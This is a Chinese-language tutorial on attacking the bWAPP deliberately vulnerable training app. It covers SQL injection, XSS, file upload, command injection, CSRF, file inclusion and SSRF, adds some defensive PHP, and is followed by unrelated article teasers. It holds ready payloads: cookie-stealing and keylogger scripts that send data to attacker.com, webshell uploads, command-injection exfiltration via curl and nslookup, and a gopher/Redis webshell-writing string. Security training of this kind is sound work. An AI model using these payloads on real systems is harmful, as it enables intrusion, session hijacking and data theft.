news 2026/4/12 7:23:48

bWAPP漏洞靶场实战教程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
bWAPP漏洞靶场实战教程

bWAPP漏洞靶场实战教程

一、bWAPP概述

1.1 什么是bWAPP

bWAPP(Buggy Web Application)是一个集成了100+种Web漏洞的PHP/MySQL靶场,由安全专家Malik Mesellem开发。它专为Web安全学习、演示和测试设计,是极佳的教学工具。

1.2 核心特点

  • 100+个漏洞场景:覆盖OWASP Top 10所有漏洞
  • 多种难度级别:Low/Medium/High三个级别
  • 真实环境:模拟实际Web应用
  • 教育友好:包含Hints和解决方案
  • 开源免费:基于GPLv3协议

二、环境搭建

2.1 虚拟机方式(推荐)

# 下载bWAPP虚拟机# 官方下载:http://www.itsecgames.com/# 或使用Bee-box(集成了bWAPP)wgethttps://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z# 解压并使用VirtualBox/VMware导入# 默认登录:# URL: http://192.168.0.1/# 账号: bee / bug# 安全等级: 默认Medium

2.2 Docker部署

# 方法一:直接运行docker run -d -p80:80 raesene/bwapp# 方法二:使用docker-composeversion:'3'services: bwapp: image: raesene/bwapp ports: -"80:80"environment: -MYSQL_PASSWORD=bug

2.3 本地部署(XAMPP/WAMP)

# 1. 下载bWAPP源码wgethttps://sourceforge.net/projects/bwapp/files/latest/download# 2. 解压到htdocs目录unzipbWAPP_latest.zip -d /opt/lampp/htdocs/bwapp/# 3. 访问安装页面http://localhost/bwapp/install.php# 4. 配置数据库数据库:localhost 用户名:root 密码:(空) 数据库名:bWAPP# 5. 默认登录凭证用户名:bee 密码:bug

三、界面导航与配置

3.1 首次使用设置

  1. 登录系统:使用bee/bug登录
  2. 选择漏洞类型:"Choose your bug"下拉菜单
  3. 设置安全级别
    • Low:无防护,用于学习原理
    • Medium:基础防护,需简单绕过
    • High:较强防护,需要高级技术
  4. 访问Hints:点击"Hints"获取漏洞提示

3.2 管理功能

-- 管理后台:http://[ip]/admin.php-- 默认管理员:admin/bug-- 查看用户表SELECT*FROMusers;-- bee/bug(普通用户)-- admin/bug(管理员)-- smith/bug(测试用户)

四、核心漏洞实战

4.1 SQL注入漏洞家族

4.1.1 基于错误的注入(Error-Based)

Low级别:

-- 基础注入' OR '1'='1-- 获取数据' UNION SELECT 1,2,3,4,5,6,7,8 -- -- 获取数据库信息 'UNIONSELECT1,database(),user(),version(),5,6,7,8---- 获取表名' UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() -- -- 获取列名 'UNIONSELECT1,column_name,3,4,5,6,7,8FROMinformation_schema.columnsWHEREtable_name='users'---- 获取数据'UNIONSELECT1,login,password,4,5,6,7,8FROMusers--
4.1.2 盲注(Blind SQLi)
-- 布尔盲注' AND 1=1 -- 'AND1=2---- 基于时间的盲注' AND IF(1=1,SLEEP(5),0) -- 'ANDIF(SUBSTRING(database(),1,1)='b',SLEEP(5),0)---- 逐字符获取数据'ANDIF(ASCII(SUBSTRING((SELECTloginFROMusersLIMIT0,1),1,1))=98,SLEEP(3),0)--
4.1.3 SQLi绕过技巧
-- 注释绕过admin' -- admin'#admin' /* -- 编码绕过 'OR1=1-- URL编码%27%20%4F%52%20%31%3D%31%20%2D%2D-- 双写绕过(针对关键字过滤)' UNUNIONION SELSELECTECT 1,2 -- -- 大小写绕过 'Or1=1--' oR 1=1 -- -- 等价函数绕过 'ORTRUE--'OR1--

4.2 XSS漏洞家族

4.2.1 反射型XSS
// 基础payload<script>alert(document.domain)</script>// 窃取Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>// 短payload<svg onload=alert(1)><img src=x onerror=alert(1)>// DOM XSS#<img src=x onerror=alert(1)>javascript:alert(document.cookie)
4.2.2 存储型XSS
// 评论区注入<script>alert('Stored XSS')</script>// 窃取用户会话<script>varimg=newImage();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>// 键盘记录器<script>document.onkeypress=function(e){newImage().src='http://attacker.com/log?key='+e.key;}</script>
4.2.3 XSS高级绕过
// 编码绕过<IMGSRC=j&#X41vascript:alert('test')>// 事件处理器<body onload=alert(1)><input onfocus=alert(1)autofocus>// iframe注入<iframe src="javascript:alert(document.domain)">// SVG XSS<svg><script>alert(1)</script></svg><svg><animate onbegin=alert(1)attributeName=x dur=1s>

4.3 文件上传漏洞

4.3.1 基础绕过
# 修改扩展名绕过shell.php.jpg shell.php.png shell.pHp# 双扩展名shell.php.jpg.php# 空字节绕过(PHP<5.3.4)shell.php%00.jpg# .htaccess攻击# 上传.htaccess文件:AddType application/x-httpd-php .jpg# 然后上传shell.jpg(实际是PHP文件)
4.3.2 Content-Type绕过
POST /bWAPP/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123456 ------WebKitFormBoundary123456 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg # 伪装成图片 <?php system($_GET['cmd']); ?>
4.3.3 文件内容绕过
# 使用图片马# 创建包含PHP代码的图片exiftool-Comment="<?php system(\$_GET['cmd']); ?>"image.jpg# GIF图片头绕过GIF89a;<?phpsystem($_GET['cmd']);?>

4.4 命令注入

4.4.1 基础注入
# 执行多条命令127.0.0.1&&whoami127.0.0.1|cat/etc/passwd127.0.0.1;ls-la# 命令替换127.0.0.1&&$(cat/etc/passwd)127.0.0.1&&`whoami`
4.4.2 盲注技术
# 基于时间的盲注127.0.0.1&&sleep5127.0.0.1&&ping-c5127.0.0.1# 带外数据外泄127.0.0.1&&nslookup$(whoami).attacker.com127.0.0.1&&curlhttp://attacker.com/$(cat/etc/passwd|base64)
4.4.3 绕过过滤
# 空格绕过127.0.0.1&&{cat,/etc/passwd}127.0.0.1;cat$IFS/etc/passwd# 关键字绕过127.0.0.1&&a=c;b=at;c=/etc/passwd;$a$b$c127.0.0.1&&wh''oami127.0.0.1&&who$(echoam)i# 编码绕过127.0.0.1&&`echo"d2hvYW1p"|base64 -d`

4.5 CSRF攻击

4.5.1 基础CSRF
<!-- 简单GET请求 --><imgsrc="http://localhost/bWAPP/csrf_1.php?password_new=hacked&password_conf=hacked"width="0"height="0"><!-- POST表单 --><formaction="http://localhost/bWAPP/csrf_2.php"method="POST"id="csrf"><inputtype="hidden"name="password_new"value="hacked"><inputtype="hidden"name="password_conf"value="hacked"></form><script>document.getElementById('csrf').submit()</script>
4.5.2 高级CSRF
<!-- JSON CSRF --><script>fetch('http://localhost/bWAPP/rest-api/change-password',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({newPassword:'hacked'})})</script><!-- 使用XHR --><script>varxhr=newXMLHttpRequest();xhr.open('POST','http://localhost/bWAPP/change-email',true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('email=attacker@evil.com');</script>

五、其他重要漏洞

5.1 文件包含

# 本地文件包含http://localhost/bWAPP/fi.php?page=../../../etc/passwdhttp://localhost/bWAPP/fi.php?page=php://filter/convert.base64-encode/resource=index.php# 远程文件包含http://localhost/bWAPP/fi.php?page=http://attacker.com/shell.txt# 日志文件包含http://localhost/bWAPP/fi.php?page=../../../var/log/apache2/access.log# /proc文件包含http://localhost/bWAPP/fi.php?page=../../../proc/self/environ

5.2 不安全的直接对象引用(IDOR)

# 水平越权 GET /bWAPP/idor_1.php?movie=1 # 自己的电影 GET /bWAPP/idor_1.php?movie=2 # 他人电影 # 垂直越权 GET /bWAPP/admin/users.php # 普通用户访问管理员页面 # 批量遍历 GET /bWAPP/idor_2.php?account=100 GET /bWAPP/idor_2.php?account=101 GET /bWAPP/idor_2.php?account=102

5.3 SSRF攻击

# 基础SSRF http://localhost/bWAPP/ssrf.php?url=file:///etc/passwd http://localhost/bWAPP/ssrf.php?url=http://169.254.169.254/latest/meta-data/ # 端口扫描 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:22 http://localhost/bWAPP/ssrf.php?url=http://127.0.0.1:3306 # 协议处理 gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

六、自动化工具实战

6.1 SQLMap

# 基础检测sqlmap -u"http://localhost/bWAPP/sqli_1.php?title=test&action=search"--cookie="PHPSESSID=xxx; security_level=0"# 获取数据库sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--dbs# 获取表sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP --tables# 获取数据sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"-D bWAPP -Tusers--dump# 自动化测试sqlmap -u"http://localhost/bWAPP/sqli_1.php"--data="title=test&action=search"--cookie="PHPSESSID=xxx"--batch --level=5--risk=3

6.2 XSStrike

# XSS自动化检测python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php?name=test"# 使用爬虫模式python3 xsstrike.py -u"http://localhost/bWAPP"--crawl# 暴力破解参数python3 xsstrike.py -u"http://localhost/bWAPP/xss_get.php"--params"name"

6.3 Commix

# 命令注入自动化检测python3 commix.py -u"http://localhost/bWAPP/commandi.php?target=127.0.0.1"# 获取shellpython3 commix.py -u"http://localhost/bWAPP/commandi.php"--data="target=127.0.0.1"--os-shell

七、防御代码分析

7.1 SQL注入防护

// Low级别(无防护)$sql="SELECT * FROM movies WHERE title LIKE '%".$_GET["title"]."%'";// Medium级别(mysql_real_escape_string)$title=mysql_real_escape_string($_GET["title"]);$sql="SELECT * FROM movies WHERE title LIKE '%".$title."%'";// High级别(预处理语句)$stmt=$mysqli->prepare("SELECT * FROM movies WHERE title LIKE ?");$search="%".$_GET["title"]."%";$stmt->bind_param("s",$search);$stmt->execute();

7.2 XSS防护

// Low级别(无防护)echo$_GET["name"];// Medium级别(strip_tags)echostrip_tags($_GET["name"]);// High级别(htmlspecialchars)echohtmlspecialchars($_GET["name"],ENT_QUOTES,"UTF-8");// 额外防护:CSP头header("Content-Security-Policy: default-src 'self'");

7.3 文件上传防护

// High级别防护$allowed_types=array("image/jpeg","image/png","image/gif");$max_size=512000;// 500KB$upload_dir="uploads/";// 检查文件类型if(!in_array($_FILES["file"]["type"],$allowed_types)){die("Invalid file type!");}// 检查文件大小if($_FILES["file"]["size"]>$max_size){die("File too large!");}// 重命名文件$extension=pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);$new_filename=md5(uniqid()).".".$extension;// 移动文件move_uploaded_file($_FILES["file"]["tmp_name"],$upload_dir.$new_filename);

八、实战演练计划

阶段1:基础漏洞(第1周)

  • SQL注入(所有类型)
  • XSS(反射型、存储型)
  • 命令注入
  • 文件上传
  • 文件包含

阶段2:进阶漏洞(第2周)

  • 盲注攻击
  • CSRF攻击
  • SSRF攻击
  • IDOR漏洞
  • XXE漏洞

阶段3:组合攻击(第3周)

  • SQLi -> 获取数据库 -> 文件写入 -> WebShell
  • XSS -> 窃取Cookie -> 会话劫持
  • 文件上传 -> 命令执行 -> 权限提升

阶段4:防御绕过(第4周)

  • WAF绕过技术
  • 编码绕过
  • 逻辑漏洞利用
  • 自动化工具使用

九、学习资源

官方资源

  • 官方网站:http://www.itsecgames.com/
  • GitHub仓库:https://github.com/raesene/bWAPP
  • 官方文档:http://www.itsecgames.com/download.htm

扩展学习

  1. DVWA:适合初学者的简单靶场
  2. WebGoat:OWASP官方教学靶场
  3. Juice Shop:现代Web应用靶场
  4. PentesterLab:专业渗透练习平台

工具推荐

  1. Burp Suite:Web渗透测试神器
  2. OWASP ZAP:开源Web应用扫描器
  3. SQLMap:SQL注入自动化工具
  4. XSSHunter:XSS漏洞利用平台

十、安全实践建议

10.1 测试环境配置

# 创建专用网络docker network create bwapp-net docker run -d --network bwapp-net --name bwapp raesene/bwapp# 使用虚拟机快照# 测试前创建快照,测试后恢复

10.2 合法授权

  1. 仅限本地测试:不要在生产环境测试
  2. 明确授权:获得明确书面授权
  3. 遵守法律:了解当地网络安全法规
  4. 道德约束:不为恶意目的使用技能

10.3 学习记录

# 漏洞测试记录模板 ## 漏洞名称: ## 测试时间: ## 安全等级: ## 漏洞URL: ## 攻击Payload: ## 测试步骤: ## 防御措施: ## 学习心得:

通过bWAPP的系统学习,你将掌握100+种Web漏洞的利用和防御技术。建议按照漏洞类型逐步深入,每个漏洞都要尝试三个安全级别,理解不同防护措施的差异。理论与实践结合,才能真正提升Web安全能力!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/3 17:58:59

【珍藏版】大语言模型训练全流程详解:从基础模型到AI助手的蜕变

文章详细介绍了大语言模型(LLM)的三大训练阶段&#xff1a;预训练(无监督学习掌握语言规则和世界认知)、监督微调(SFT提升输出有用性和合规性)、以及RLHF(利用人类反馈优化回答质量)。随着DeepSeek等公司开源训练方法&#xff0c;我们可通过调整训练流程来革新大语言模型表现。…

作者头像 李华
网站建设 2026/4/2 12:10:03

收藏!2025大模型风口已至,程序员转型必看指南

2025年的技术序幕刚拉开&#xff0c;AI领域就抛出了颠覆性“王炸”——DeepSeek的突破性进展如同惊雷贯耳&#xff0c;瞬间重构了IT从业者的职业赛道。阿里云抢先完成核心业务与Agent体系的深度绑定&#xff0c;字节跳动更直接将大模型开发能力纳入30%后端岗位的硬性指标&#…

作者头像 李华
网站建设 2026/4/11 2:18:29

5、Linux 串口硬件配置全解析

Linux 串口硬件配置全解析 1. 串口通信软件概述 在 Linux 系统中,有多种用于调制解调器连接的通信软件。其中,许多是终端程序,能让用户像坐在简单终端前一样拨号连接到其他计算机。传统的类 Unix 环境终端程序 kermit 如今已显陈旧,使用起来较为困难。现在有更便捷的程序…

作者头像 李华
网站建设 2026/4/10 7:37:16

16、Linux 中 IPX 与 NCP 文件系统的全面指南

Linux 中 IPX 与 NCP 文件系统的全面指南 1. 协议起源与发展 在 20 世纪 70 年代末,施乐公司开发并发布了施乐网络规范(XNS),这是一个用于通用互联网的开放标准,尤其侧重于局域网的使用。XNS 包含两个主要的网络协议: - 互联网数据报协议(IDP):提供无连接且不可靠的…

作者头像 李华
网站建设 2026/4/11 9:07:15

19、Sendmail:强大邮件程序的配置与管理指南

Sendmail:强大邮件程序的配置与管理指南 1. Sendmail 简介 Sendmail 是一款功能强大但学习和理解难度较大的邮件程序。过去,配置 Sendmail 需要直接编辑复杂的 sendmail.cf 文件,这让很多人望而却步。不过,新版本的 Sendmail 提供了配置工具,可根据简单的宏文件生成 sen…

作者头像 李华
网站建设 2026/4/11 23:30:07

广告投放素材创意:LobeChat产出高点击率内容

LobeChat&#xff1a;构建高点击率广告创意的智能引擎 在数字营销的战场上&#xff0c;每一分曝光都来之不易。一个广告能否从信息洪流中脱颖而出&#xff0c;往往取决于那短短几秒内是否击中了用户的注意力——而这一切&#xff0c;始于一条足够“抓人”的创意文案。 传统的内…

作者头像 李华